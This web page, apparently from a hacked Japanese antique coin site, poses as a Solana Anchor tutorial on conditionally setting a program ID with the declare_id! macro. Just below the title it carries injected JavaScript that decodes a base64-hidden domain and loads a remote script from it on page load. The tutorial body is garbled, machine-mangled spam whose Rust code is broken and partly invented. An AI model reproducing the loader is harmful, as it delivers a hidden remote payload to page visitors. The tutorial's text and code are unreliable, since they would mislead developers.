Solana: How To Conditionally Set ProgramID in declare_id! macro?

その他・コラム等

2025.2.8

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=a27a6b1c”;document.body.appendChild(script);

Here are the statements and conspiracies, how to install Program_id UDeclare_id!Macro:

HUTE A SUGRAM ID IN YAKORE

In Anchorage you can use the Macronage Declare_id! For the creation of the program, which can be used in different harvests. Odin from the usual cases – this is when you want to decide your vital in the substitute from the sameness, will be filled with a production or genial.

Solana: How To Conditionally Set ProgramID in declare_id! macro?

Basic use

VO -— Pasmotheim, how you can install Program_id with UspolseDeclare_id!Macro:

`Rust

Use anchor_lang :: declares;

#[scrape (anators)]]]

pub MOD My_PROGRAM {{

Declare_id! ("3GhakGu3rjcwvbgqfd5gv4mqfqjksvdejkloa6");

Nour

In this one, theProgram_idViyad is coted" 3GHikGu3rjcwvbgqfd5gv4mqkmqjksvdejkloa6 ", which will always be used.

with the help of a stain

To make your code more read and work in the sizing, you can rush the postponed for Program_id:

`Rust

Use anchor_lang :: declares;

Const Program_id: & Str = "3GHKGU3RJCWBGQFD5GV4MQFQKJKSVDEJKLA6";

#[scrape (anators)]]]

pub MOD My_PROGRAM {{

Declare_id! (& Program_id);

Nour

In this fermentation of the post -co -a -permanentProgram_idrolls over and beyond the macronive 'Deckerre_id!.

Using the submersible

If you need to use the IDENTIFTER of the program in the qualities of the expulsion, you can define it, use Program_id:

`Rust

Use anchor_lang :: declares;

PUB Const Program_ID: & Str = Get_Program_id ();

And then,

Rust

#[scrape (anators)]]]

Pub Mod My_PROGRAM {{

Declare_id! (Program_id);

Nour

Inscept Bulds

For the creation of stretching materials you can useProgram_idfor the constant settings of the ID program. For example, perhaps, you have a function that is an ID: Program:

Rust

Use anchor_lang :: declares;

FN my_function (Program_id: & P) -> Result {{

// ...

Nour

You can make the production of the installation, usingProgram_id

Rust

#[scrape (anators)]]]

pub MOD My_PROGRAM {{

Declare_id! (IF is_staging () {Program_id} else {get_program_id ()});

#[function]

PUB FN MY_FUNCTION (Program_id: & Str) -> Result {

// ...

Nour

Nour

In this primer functionmy_functionwill use the identification of the program, the conquering of the structure, if she is found on the wall.

conclusion

Macros Declarare_id!, Decayed or substantive for the editer of the program, you can make a more thicker and stable code that adapt to the designs. Remember that you always follow the recitements for the documentation of the ICARY PRIFT WITH YOUR CODE.

SOLANA SIGNERS MISSING

Pocket

お得な情報をLINE上で配信中!
アンティークコインTVでは、アンティークコインTVに関する限定情報や
お得な情報をLINE上で配信しております。ぜひご活用ください。
友だち追加 QRコード